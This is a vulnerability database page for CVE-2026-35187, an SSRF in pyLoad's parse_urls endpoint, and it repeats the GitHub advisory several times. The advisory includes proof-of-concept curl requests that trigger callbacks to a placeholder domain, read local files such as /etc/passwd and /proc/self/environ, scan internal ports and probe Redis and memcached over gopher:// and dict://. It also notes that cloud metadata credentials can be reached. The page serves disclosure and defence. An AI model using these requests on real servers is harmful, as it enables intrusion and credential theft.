CVE-2026-35187
pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
- Record
CVE-2026-35187- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-19470
7.7
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
- Record
EUVD-2026-19470- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2wvg-62qm-gj33
7.7
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses: …
- Record
GHSA-2wvg-62qm-gj33- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
7.7
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
- Record
CVE-2026-35187- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
7.7
pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
- Record
CVE-2026-35187- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-2wvg-62qm-gj33
7.7
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses: …
- Record
GHSA-2wvg-62qm-gj33- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2988
7.7
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses: …
- Record
PYSEC-2026-2988- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
through 0.5.0b3.dev96 | None known |
pyload-ngPyPI |
through 0.5.0b3.dev96, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-35187 is a high vulnerability (CVSS 7.7) in Pyload, published April 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. No source names a fixed version.
References
github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33
github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f
nvd.nist.gov/vuln/detail/CVE-2026-35187
github.com/advisories/GHSA-2wvg-62qm-gj33
github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35187.json
github.com/pyload/pyload
pypi.org/project/pyload-ng
Left out here: 50 versions and the rest of 3 source descriptions. The JSON record has them.